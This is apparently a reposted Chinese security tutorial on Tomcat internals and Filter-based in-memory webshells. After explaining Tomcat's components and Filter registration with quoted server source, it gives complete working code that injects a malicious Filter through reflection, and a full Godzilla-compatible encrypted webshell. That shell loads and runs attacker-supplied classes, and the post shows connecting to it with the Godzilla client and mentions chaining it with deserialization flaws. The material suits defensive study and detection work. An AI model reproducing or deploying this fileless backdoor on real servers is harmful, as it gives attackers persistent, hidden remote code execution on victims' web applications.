0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Tomcat基本组件和关系

jf_vLt34KHi 来源:Tide安全团队 2023-06-05 17:29 次阅读

0x01 内存马介绍

内存马,通过中间件特性注册为其组件的无文件webshell,其核心思路是访问路径映射和相关代码的动态注册。在tomcat中内存马主要有以下几种类型:

  1. 1.Servlet内存马

  2. 2.Filter内存马

  3. 3.Valve内存马

  4. 4.listener内存马

上述类型的内存马在tomcat7(支持Servlet API 3.0)以后可以通过动态注册方式向中间件注入,也因其可以动态注册的特点所以可以在反序列化等可任意执行代码的漏洞点进行利用。

0x02 Tomcat基础

Tomcat基本组件和关系

79193f44-02c0-11ee-90ce-dac502259ad0.png7928f6d2-02c0-11ee-90ce-dac502259ad0.pngtomcat结构在server.xml中的体现

Tomcat是一种Web应用服务器,一个Servlet/JSP容器,Tomcat将以下几种组件作为基本构成:

  1. 1.Server:Tomcat实例中的顶级容器组件,由一个或多个Service组成。

  2. 2.Service:Connector和Container的集合,负责数据接收、处理和返回,由一个Container和一个(可以多个)Connector组成。

  3. 3.Connector:连接器,顾名思义作为外部数据到Container的连接管道,封装了底层通信协议处理方法,其作用是监听某一端口随时接收客户端连接请求,当请求到达时根据协议不同做分类处理后交由Container并将Container的返回结果做封装返回给客户端。

  4. 4.Container:封装和管理Servlet的容器,接收Connector传入数据做具体逻辑处理后将结果返回到Connector。

79416014-02c0-11ee-90ce-dac502259ad0.png

Connector基本结构:Connector由多个protocolhandler(协议处理器)、Adapter(适配器)和Mapper(路由导航组件)组成,每个protocolhandler又由Endpoint、Processor组成。

  1. 1.Endpoint:通常与Connector相关联,用来处理底层Socket的网络连接。

    1. 1.Acceptor:连接接收器,用于接收客户端的连接请求并分配给对应的处理器进行处理。

    2. 2.Executor:线程池,用于任务处理。

  2. 2.Processor:Processor用于将Endpoint接收到的Socket封装成Request。

  3. 3.Mapper:客户端请求的路由导航组件,通过它能对一个完整的请求地址进行路由,通俗地说,就是它能通过请求地址找到对应的Servlet。

  4. 4.Adapter:Adapter用于将Request/Response进一步封装为ServletRequest/ServletResponse对象交给具体某个Engine进行具体的处理/返回给客户端。

7977f0b6-02c0-11ee-90ce-dac502259ad0.png

在tomcat中Container是一个抽象概念,用来表示一组组件的集合。Container由四个子容器组成,分别是Engine、Host、Context、Wrapper组成,它们之间是负责关系,存在包含关系。

  1. 1.Engine:引擎,用于管理多个虚拟主机(Host)的请求处理。

  2. 2.Host:虚拟主机,用于管理多个web应用程序(Context)的请求处理。

  3. 3.Context:Web 应用程序,是 Tomcat 中的最小部署单元,包含多个 Servlet 和 JSP 文件以及其他 Web 资源。

  4. 4.Wrapper:是Servlet 的容器,包含一个Servlet和多个Filter,用于将 Servlet 映射到对应的 Context 上。

79a974e2-02c0-11ee-90ce-dac502259ad0.png

Tomcat的责任链设计模式:责任链模式是一种行为型设计模式,它允许将请求沿着处理链传递,直到有一个处理者能够处理请求为止。每个处理者都只关心自己能否处理请求,并且只有在需要时才将请求转发给下一个处理者。在 Tomcat 中,责任链设计模式用于处理请求和响应,通过将请求和响应传递给一系列的组件,最终生成响应并返回给客户端。这种设计模式被广泛应用于 Tomcat 中的各个组件,例如 Servlet 过滤器、Pipeline&Valve 等。

Tomcat中的管道-阀门模式:Tomcat的管道-阀门模式可以看作是责任链模式的一种实现。在Tomcat中,请求从Connector进入,经过多个阀门(Valve)处理,最终到达Servlet容器(Engine/Host/Context/Wrapper),完成请求处理。每个阀门都可以对请求进行处理,也可以选择放行,将请求传递给下一个阀门进行处理,这就是典型的责任链模式的实现。但是,Tomcat的管道-阀门模式在责任链模式的基础上,增加了对阀门的排序和管理,以及对请求和响应的处理。

Tomcat请求处理流程

如本文中第一张图片所示,Tomcat中请求处理的过程可以简单分为以下六步:

  1. 1.用户发送请求:用户通过浏览器或其他客户端向Tomcat发送HTTP请求,请求特定的资源(例如,一个HTML页面、一个Servlet或一个JSP页面)。

  2. 2.连接器接受请求:Tomcat中的连接器(Connector)接受客户端的请求,Connector是Tomcat中用于处理与客户端的连接和通信的组件。Connector负责在Tomcat和客户端之间建立网络连接,并处理HTTP请求和响应。

  3. 3.协议处理器处理请求:接下来,Tomcat将接受的请求传递给适当的协议处理器(Protocol Handler)。Protocol Handler根据请求的协议类型进行选择,例如HTTP或HTTPS。

  4. 4.请求在容器中处理:一旦协议处理器选择了正确的请求处理器(Request Processor),它将请求传递给容器(Container)进行处理。在Tomcat中,容器是一个组件层次结构,用于处理Web应用程序和Servlet。容器包括Engine、Host、Context和Wrapper。请求将从Engine开始,通过Host和Context,最终到达Wrapper。Wrapper是最终处理请求的组件,它会执行与请求相关联的Servlet。

  5. 5.Servlet处理请求:Servlet根据请求的类型进行处理,并生成相应的响应。Servlet可以从请求中获取参数、执行业务逻辑,然后生成HTML或其他响应内容。

  6. 6.响应返回给容器:Servlet将响应返回给容器,容器将响应传递给适当的容器层次结构组件(Wrapper、Context、Host和Engine)。

  7. 7.响应返回给协议处理器:响应最终被传递回协议处理器,然后通过连接器返回给客户端。

    0x03 Tomcat_Filter内存马

    Tomcat_Filter组件

79cb4dba-02c0-11ee-90ce-dac502259ad0.png

Filter是Wrapper的组件,即拦截器,如上图所示其主要负责在请求到达Servlet之前/Servlet处理之后对Request/Response进行判断、修饰等操作。Filter的注册有三种常见方式,web.xml配置中配置注册、注解方式注册和动态注册,通常使用前两种方式进行注册。 其组成部分如web.xml中的定义所示:


Myfilter
com.zzservlet.MyFilter


Myfilter
/hello

1.filter-name:filter的名称
2.filter-class:filter的实现类类名
3.filter-mapping:filterMap中的内容,包含filter-name和url-pattern,其中url-pattern是当前拦截器执行的url路径。

注册流程分析

注册过程演示

1.自定义Filter,实现Filter接口的三个基础方法。

1.init(FilterConfigconfig):初始化自定义Filter,config参数为自定义Filter的配置
2.doFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain):自定义Filter的逻辑处理部分,FilterChain-->拦截器责任链,存储当前web应用所有的Filter
3.destroy():销毁

2.在web.xml配置文件中注册定义Filter。


Myfilter
com.zzservlet.MyFilter


Myfilter
/hello

3.访问指定的URL,判定自定义的Filter是否被执行。

79e9a8b4-02c0-11ee-90ce-dac502259ad0.png

代码流程分析

在分析之前先了解几个常用对象的定义:

filterConfig:存储filter配置的对象,由context(当前应用上下文)、filterDef和filter实例组成
filterDef:存储filter定义的对象,由filterClassName和filterName组成。
filterMap:存储filtername和filterURLPattern。
filterDefs:存储filterDef的hashmap
filterMaps:存储filterMap的hashmap
filterConfigs:存储filterConfig的hashmap

初始化

Tomcat中Filter的初始化过程主要分为三个步骤:配置解析、Filter对象的实例化、以及调用Filter的初始化方法。 配置解析 在Tomcat启动过程中,会解析Web应用的配置文件(如web.xml),找到所有配置的Filter。通过解析配置文件,Tomcat将Filter的全类名以及Filter的参数信息存储在一个FilterDef对象中,用于后续的实例化和初始化。 Filter对象的实例化 在Web应用启动时,Tomcat会对所有配置的Filter进行实例化。在实例化过程中,Tomcat通过反射机制创建Filter的实例对象,并调用Filter的默认构造函数进行初始化。此时Filter的成员变量均未初始化,仅具有默认值。 调用Filter的初始化方法 实例化后,Tomcat会调用Filter的初始化方法init(FilterConfig config)进行初始化。在初始化方法中,Filter可以读取配置文件中的参数,以及获得ServletContext对象,进行一些必要的初始化操作。在这一过程中,FilterConfig对象被创建,并传递给init方法。FilterConfig对象包含了Filter的配置信息和ServletContext对象。

ApplicationFilterConfig实例在StandardContext#filterStart方法中生成,此方法遍历filterDefs,当filterName不为空时生成其filterConfig并放入filterConfigs中。filterDefs是filterDef组成的HashMap,filterDef是存放filterName和filterClass名称的对象。

publicbooleanfilterStart(){

if(getLogger().isDebugEnabled())
getLogger().debug("Startingfilters");
//InstantiateandrecordaFilterConfigforeachdefinedfilter
booleanok=true;
synchronized(filterConfigs){
filterConfigs.clear();
Iteratornames=filterDefs.keySet().iterator();
while(names.hasNext()){
Stringname=names.next();
if(getLogger().isDebugEnabled())
getLogger().debug("Startingfilter'"+name+"'");
ApplicationFilterConfigfilterConfig=null;
try{
filterConfig=newApplicationFilterConfig(this,filterDefs.get(name));
filterConfigs.put(name,filterConfig);
}catch(Throwablet){
ExceptionUtils.handleThrowable(t);
getLogger().error
(sm.getString("standardContext.filterStart",name),t);
ok=false;
}
}
}

return(ok);

}
7a02e306-02c0-11ee-90ce-dac502259ad0.png

自定义的filter执行init方法时传入FilterConfig,FilterConfig内保存有以下几个部分:filter,当前filter实例对象;filterDef,当前filter名称与类名;context,当前web应用程序上下文。

7a1aeed8-02c0-11ee-90ce-dac502259ad0.png

执行阶段

FilterChain在StandardWrapperValve#invoke方法中调用ApplicationFilterFactory#createFilter方法生成。

7a2eb620-02c0-11ee-90ce-dac502259ad0.png

首先创建初始化一个空的filterChain--->获取当前应用程序的拦截器映射FilterMap filterMaps[] = context.findFilterMaps();,filterMap中存放着当前context中filter的URLpattern和filterName。-->遍历filterMaps,当前请求url与filterMap中的urlpattern匹配时通过context获取FilterConfig对象ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());并添加至filterChain中filterChain.addFilter(filterConfig);

publicApplicationFilterChaincreateFilterChain
(ServletRequestrequest,Wrapperwrapper,Servletservlet){

//getthedispatchertype
DispatcherTypedispatcher=null;
if(request.getAttribute(DISPATCHER_TYPE_ATTR)!=null){
dispatcher=(DispatcherType)request.getAttribute(DISPATCHER_TYPE_ATTR);
}
StringrequestPath=null;
Objectattribute=request.getAttribute(DISPATCHER_REQUEST_PATH_ATTR);

if(attribute!=null){
requestPath=attribute.toString();
}

//Ifthereisnoservlettoexecute,returnnull
if(servlet==null)
return(null);

booleancomet=false;

//Createandinitializeafilterchainobject
ApplicationFilterChainfilterChain=null;
if(requestinstanceofRequest){
Requestreq=(Request)request;
comet=req.isComet();
if(Globals.IS_SECURITY_ENABLED){
//Security:Donotrecycle
filterChain=newApplicationFilterChain();
if(comet){
req.setFilterChain(filterChain);
}
}else{
filterChain=(ApplicationFilterChain)req.getFilterChain();
if(filterChain==null){
filterChain=newApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
}else{
//Requestdispatcherinuse
filterChain=newApplicationFilterChain();
}

filterChain.setServlet(servlet);

filterChain.setSupport
(((StandardWrapper)wrapper).getInstanceSupport());

//AcquirethefiltermappingsforthisContext
StandardContextcontext=(StandardContext)wrapper.getParent();
FilterMapfilterMaps[]=context.findFilterMaps();

//Iftherearenofiltermappings,wearedone
if((filterMaps==null)||(filterMaps.length==0))
return(filterChain);

//Acquiretheinformationwewillneedtomatchfiltermappings
StringservletName=wrapper.getName();

//Addtherelevantpath-mappedfilterstothisfilterchain
for(inti=0;i< filterMaps.length; i++) {
              //判断是否适配当前dispatcher
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
              //判断是否适配当前请求URL
            if (!matchFiltersURL(filterMaps[i], requestPath))
                continue;
              //获取适配后的filterConfig实例
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            boolean isCometFilter = false;
            if (comet) {
                try {
                    isCometFilter = filterConfig.getFilter() instanceof CometFilter;
                } catch (Exception e) {
                    // Note: The try catch is there because getFilter has a lot of 
                    // declared exceptions. However, the filter is allocated much
                    // earlier
                }
                if (isCometFilter) {
                    filterChain.addFilter(filterConfig);
                }
            } else {
                  //添加至filterChain中
                filterChain.addFilter(filterConfig);
            }
        }

        // Add filters that match on servlet name second
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMaps[i], servletName))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            boolean isCometFilter = false;
            if (comet) {
                try {
                    isCometFilter = filterConfig.getFilter() instanceof CometFilter;
                } catch (Exception e) {
                    // Note: The try catch is there because getFilter has a lot of 
                    // declared exceptions. However, the filter is allocated much
                    // earlier
                }
                if (isCometFilter) {
                    filterChain.addFilter(filterConfig);
                }
            } else {
                filterChain.addFilter(filterConfig);
            }
        }

        // Return the completed filter chain
        return (filterChain);

    }

向filterchain中添加filterconfigfilterChain.addFilter(filterConfig),遍历filters是否存在要传入的filterConfig防止重复添加,当filters.length为0时新建长度为10的filters并添加传入的filterConfig

voidaddFilter(ApplicationFilterConfigfilterConfig){

//Preventthesamefilterbeingaddedmultipletimes
for(ApplicationFilterConfigfilter:filters)
if(filter==filterConfig)
return;

if(n==filters.length){
ApplicationFilterConfig[]newFilters=
newApplicationFilterConfig[n+INCREMENT];
System.arraycopy(filters,0,newFilters,0,n);
filters=newFilters;
}
filters[n++]=filterConfig;

}

至此filterChain封装完成,返回到StandardWrapperValve#invoke方法中执行filterChain.doFilter(request.getRequest(), response.getResponse());进入当前拦截器责任链的执行阶段。

publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse)
throwsIOException,ServletException{

if(Globals.IS_SECURITY_ENABLED){
finalServletRequestreq=request;
finalServletResponseres=response;
try{
java.security.AccessController.doPrivileged(
newjava.security.PrivilegedExceptionAction(){
@Override
publicVoidrun()
throwsServletException,IOException{
internalDoFilter(req,res);
returnnull;
}
}
);
}catch(PrivilegedActionExceptionpe){
Exceptione=pe.getException();
if(einstanceofServletException)
throw(ServletException)e;
elseif(einstanceofIOException)
throw(IOException)e;
elseif(einstanceofRuntimeException)
throw(RuntimeException)e;
else
thrownewServletException(e.getMessage(),e);
}
}else{
internalDoFilter(request,response);
}
}

在doFilter方法中会ApplicationFilterChain#internalDoFilter,通过filterConfig.getFilter()获取filter实例后依次调用filterChain中filter的doFilter方法完成执行。

7a48f1b6-02c0-11ee-90ce-dac502259ad0.png

整个的执行过程总结如下:

  1. 1.StandardWrapperValve#invoke中调用ApplicationFilterFactory#createFilterChain方法,在createFilterChain中从当前context中取到filterMaps,遍历filterMaps根据适配情况从filterMap中取到filterName再据此filterName从context中取到对应的filterConfig。

  2. 2.ApplicationFilterFactory#createFilterChain中调用ApplicationFilterChain#addFilter,在addFilter方法中将传入的filterConfig装入filterChain。

  3. 3.完成filterChain的封装后执行其doFilter方法,依次执行其中每个filter对象的doFilter方法。

7a678ec8-02c0-11ee-90ce-dac502259ad0.png

动态注册Tomcat_Filter

实现逻辑

流程分析前要用的那几个对象存储在StandardContext对象中。

7a7952ac-02c0-11ee-90ce-dac502259ad0.png

在Tomcat中,ServletContext是整个Web应用程序的基础接口,代表当前Web应用程序的上下文环境,提供访问Web应用程序配置信息和资源的方法。ApplicationContext是ServletContext的实现类,用于管理整个Web应用程序的生命周期和资源。而StandardContext则是ApplicationContext的具体实现类之一,用于表示一个Web应用程序的标准上下文实现。因此,它们三者之间是一种包含关系,即StandardContext是ApplicationContext的子类,ApplicationContext是ServletContext的子类。 根据其关系可通过如下方式获取StandardContext对象。

ServletContextservletContext=req.getServletContext();
Fieldf=servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContextstandardContext=(StandardContext)f.get(applicationContext);

创建一个要注入的恶意类

FilterevalFiler=newFilter(){
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
System.out.println("evalFilterinit~");
}

@Override
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{
System.out.println("evalFilterdoFilter~");
response.getWriter().println("injectsuccess!");
chain.doFilter(request,response);
}

@Override
publicvoiddestroy(){

}
};
Stringname="Hasaki";

首先初始化过程在filterStart方法中filterConfig = new ApplicationFilterConfig(this, filterDefs.get(name));动态创建时并不会调用filterStart方法但与其构造对应的filterConfig对象原理一样,使用创建其filterconfig对象用到了filterDefs那么应该首先创建恶意filter的filterDef并添加至当前应用的filterDefs中

FilterDeffilterDef=newFilterDef();
filterDef.setFilter(evalFilter);
filterDef.setFilterName(name)
filterDef.serFilterClassName(evalFilter.getClass().getName());

//通过StandardContext中的addFilterDef方法将其加入filteDefs中
standardContext.addFilterDef(filterDef);

创建其FilterConfig实例并加入当前应用的filterConfigs中

//创建filterConfig实例并加入到filterConfigs中
//由于ApplicationFilter构造方法是protected非public只能通过反射进行创建
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);

ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

f=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(name,filterConfig);

根据filterChain实例的创建过程需要把filterMap定义出来并加入filterMaps

//创建filterMap实例并加入到filterMaps中
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//通过StandardContext的addFilterMapBefore方法将filterMap加入到filterMaps中的第一个位置
standardContext.addFilterMapBefore(filterMap);

至此在tomcat中动态注册自定义filter就完成了,完整代码如下:

packagecom.zzservlet;

importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importorg.apache.catalina.Context;


importjavax.servlet.*;
importjavax.servlet.http.HttpServlet;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.Method;
importjava.util.HashMap;

publicclassHelloWorldextendsHttpServlet{


@Override
protectedvoiddoGet(HttpServletRequestreq,HttpServletResponseresp)throwsServletException,IOException{
//创建恶意拦截器
FilterevalFiler=newFilter(){
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
System.out.println("evalFilterinit~");
}

@Override
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{
System.out.println("evalFilterdoFilter~");
response.getWriter().println("injectsuccess!");
chain.doFilter(request,response);
}

@Override
publicvoiddestroy(){

}
};



try{
Stringname="Hasaki";
ServletContextservletContext=req.getServletContext();
//判断拦截器是否已经注册过了
if(servletContext.getFilterRegistration(name)==null){
Fieldf=servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContextstandardContext=(StandardContext)f.get(applicationContext);


//创建filterDef实例并加入到filterDefs中
FilterDeffilterDef=newFilterDef();
filterDef.setFilter(evalFiler);
filterDef.setFilterName(name);
filterDef.setFilterClass(evalFiler.getClass().getName());

standardContext.addFilterDef(filterDef);

//创建filterConfig实例并加入到filterConfigs中
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);

ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

f=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(name,filterConfig);



//创建filterMap实例并加入到filterMaps中
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);
}



}catch(Exceptione){e.printStackTrace();}


}
}

访问http://localhost:8080/hello后访问http://localhost:8080/出现自定义filter中doFilter方法中执行的打印内容。

7ab4ccba-02c0-11ee-90ce-dac502259ad0.png

实现一个Godzilla内存马

代码中/hello2可替换成任意存在的URL路径或者设置"*"。

packagecom.utils;


importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;

importjavax.crypto.Cipher;
importjavax.crypto.spec.SecretKeySpec;
importjavax.servlet.*;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjavax.servlet.http.HttpSession;
importjava.io.ByteArrayOutputStream;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.math.BigInteger;
importjava.security.MessageDigest;
importjava.util.HashMap;

publicclassMyGodzillaFilterShellextendsClassLoaderimplementsFilter{


privateServletContextservletContext;
StringPwd="pass";
Stringxc="3c6e0b8a9c15224a";
Stringmd5=md5(this.Pwd+this.xc);
publicHttpServletRequestrequest=null;
publicHttpServletResponseresponse=null;
publicStringcs="UTF-8";



publicMyGodzillaFilterShell(){}

publicMyGodzillaFilterShell(ClassLoaderz){super(z);}

publicClassQ(byte[]cb){
returndefineClass(cb,0,cb.length);
}


publicStandardContextgetStandardContext(){
StandardContextstandardContext=null;

this.servletContext=request.getServletContext();
try{
Fieldf=this.servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(this.servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
standardContext=(StandardContext)f.get(applicationContext);

}catch(Exceptione){}
returnstandardContext;
}

publicStringaddFiter(){
//通过request对象回去StandardContext实例对象
StandardContextstandardContext=getStandardContext();
StringfilterName="Aatrox";
Stringres=null;


//判断filterName是否已被注册过
if(request.getServletContext().getFilterRegistration(filterName)==null){

//注册过程
try{
FilterDeffilterDef=newFilterDef();
filterDef.setFilterClass(this.getClass().getName());
filterDef.setFilter(this);
filterDef.setFilterName(filterName);

standardContext.addFilterDef(filterDef);

Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);
ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

Fieldf=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(filterName,filterConfig);

FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("/hello2");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

res="Success!";

}catch(Exceptione){
res="Error!";
}
}else{
res="Filteralreadyexisted!";
}
returnres;
}


publicstaticStringmd5(Strings){
Stringret=null;

try{
MessageDigestm=MessageDigest.getInstance("MD5");
m.update(s.getBytes(),0,s.length());
ret=(newBigInteger(1,m.digest())).toString(16).toUpperCase();
}catch(Exceptionexception){}

returnret;
}





publicstaticbyte[]base64Decode(Stringbs)throwsException{
byte[]value=null;
try{
Classbase64=Class.forName("java.util.Base64");
Objectdecoder=base64.getMethod("getDecoder",null).invoke(base64,(Object[])null);
value=(byte[])decoder.getClass().getMethod("decode",newClass[]{String.class}).invoke(decoder,newObject[]{bs});
}catch(Exceptione){
try{
Classbase64=Class.forName("sun.misc.BASE64Decoder");
Objectdecoder=base64.newInstance();
value=(byte[])decoder.getClass().getMethod("decodeBuffer",newClass[]{String.class}).invoke(decoder,newObject[]{bs});
}catch(Exceptionexception){}
}

returnvalue;
}

publicstaticStringbase64Encode(byte[]bs)throwsException{
Stringvalue=null;
try{
Classbase64=Class.forName("java.util.Base64");
ObjectEncoder=base64.getMethod("getEncoder",null).invoke(base64,(Object[])null);
value=(String)Encoder.getClass().getMethod("encodeToString",newClass[]{byte[].class}).invoke(Encoder,newObject[]{bs});
}catch(Exceptione){
try{
Classbase64=Class.forName("sun.misc.BASE64Encoder");
ObjectEncoder=base64.newInstance();
value=(String)Encoder.getClass().getMethod("encode",newClass[]{byte[].class}).invoke(Encoder,newObject[]{bs});
}catch(Exceptionexception){}
}

returnvalue;
}

publicbyte[]x(byte[]s,booleanm){
try{
Cipherc=Cipher.getInstance("AES");
c.init(m?1:2,newSecretKeySpec(this.xc.getBytes(),"AES"));
returnc.doFinal(s);
}catch(Exceptione){
returnnull;
}
}


publicbooleanequals(Objectobj){
parseObj(obj);
StringBufferoutput=newStringBuffer();

try{
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(addFiter());
}catch(Exceptione){
output.append("error:"+e.toString());
}
try{
this.response.getWriter().print(output.toString());
this.response.getWriter().flush();
this.response.getWriter().close();
}catch(Exceptionexception){}

returntrue;
}


//解析参数,传入的值必须是对象数组
publicvoidparseObj(Objectobj){
Object[]data=(Object[])obj;
this.request=(HttpServletRequest)data[0];
this.response=(HttpServletResponse)data[1];

}




@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{

}

@Override
publicvoiddoFilter(ServletRequestreq,ServletResponseresp,FilterChainchain)throwsIOException,ServletException{
//webshell实现部分,负责实现接收/返回数据解析、加解密等
try{
HttpServletRequestrequest=(HttpServletRequest)req;
HttpServletResponseresponse=(HttpServletResponse)resp;

HttpSessionsession=request.getSession();

byte[]data=base64Decode(req.getParameter(this.Pwd));
data=x(data,false);
if(session.getAttribute("payload")==null){
session.setAttribute("payload",(newMyGodzillaFilterShell(getClass().getClassLoader())).Q(data));
}else{
request.setAttribute("parameters",data);
ByteArrayOutputStreamarrOut=newByteArrayOutputStream();
Objectf=((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
response.getWriter().write(this.md5.substring(16));
}
}catch(Exceptionexception){}
//chain.doFilter(req,resp);

}

@Override
publicvoiddestroy(){

}
}

在之前编写的hello这个Servlet中尝试触发,这是在已知request对象的场景下,在未知场景下可结合前面反序列化回显进行利用。

packagecom.zzservlet;

importcom.utils.MyGodzillaFilterShell;
importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importorg.apache.catalina.Context;


importjavax.servlet.*;
importjavax.servlet.http.HttpServlet;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.Method;
importjava.util.HashMap;

publicclassHelloWorldextendsHttpServlet{


@Override
protectedvoiddoGet(HttpServletRequestreq,HttpServletResponseresp)throwsServletException,IOException{

FilterevalFilter=newMyGodzillaFilterShell();

evalFilter.equals(newObject[]{req,resp});


}
}

访问http://localhost:8080/hello

7acae11c-02c0-11ee-90ce-dac502259ad0.png

使用godzilla连接http://localhost:8080/hello2

7ae3b6b0-02c0-11ee-90ce-dac502259ad0.png

0x04 参考链接

https://github.com/j1anFen/shiro_attack https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na#de7894b8


声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 连接器
    +关注

    关注

    98

    文章

    14165

    浏览量

    135843
  • 服务器
    +关注

    关注

    12

    文章

    8929

    浏览量

    85046
  • 内存
    +关注

    关注

    8

    文章

    2959

    浏览量

    73792

原文标题:0x04 参考链接

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    中智讯-Android基本组件开发

    中智讯-Android基本组件开发,分享给大家参考。 中智讯(武汉)科技有限公司投入了大量的人力及精力致力于相关产品的开发,是一家集研发、生产、销售为一体的,致力于移动互联网、物联网、云计算、大数
    发表于 06-21 11:59

    Apache和Tomcat之间的区别解答

    经常在用Apache和Tomcat等这些服务器时,你总感觉还是不清楚他们之间有什么关系。在用Tomcat的时候总出现Apache,总感到迷惑,到底谁是主谁是次呢?本文将会给大家一个详细的解答。
    发表于 07-11 08:33

    本组件 - Text 精华

    本组件是我们最常用的组件之一,它是用来在UI界面上显示字符串。作为基本组件,有很多扩展,常见的有按钮组件Button、文本编辑组件Text
    发表于 12-03 23:03

    Tomcat服务器简介

    简介简介Tomcat服务器是一个开放源码的轻量级Web应用服务器,非常适合搭建微服务应用。Embedded Tomcat嵌入式Tomcat服务器则无需部署外置tomcat,开发者只需引
    发表于 12-16 08:24

    Nginx和Tomcat负载均衡实现session共享

    Nginx和Tomcat负载均衡实现session共享
    发表于 09-05 10:40 9次下载
    Nginx和<b class='flag-5'>Tomcat</b>负载均衡实现session共享

    VxWorks操作系统的基本组件

    VxWorks操作系统的基本组件
    发表于 10-26 10:36 12次下载
    VxWorks操作系统的基<b class='flag-5'>本组件</b>

    apache+tomcat负载均衡整合文档

    apache+tomcat负载均衡整合文档(理士电源技术有限公司地址)-apache+tomcat负载均衡整合文档             
    发表于 08-31 12:20 0次下载
    apache+<b class='flag-5'>tomcat</b>负载均衡整合文档

    嵌入式Tomcat示例

    嵌入式Web服务器不使用jetty,太麻烦了。配置也不熟悉。代码嵌入式Tomcat示例参考资料嵌入式Tomcat示例嵌入式服务器jetty,让你更快开发webTransfer-Encoding
    发表于 10-21 12:06 1次下载
    嵌入式<b class='flag-5'>Tomcat</b>示例

    Arduino Rev3 Shield基本组件

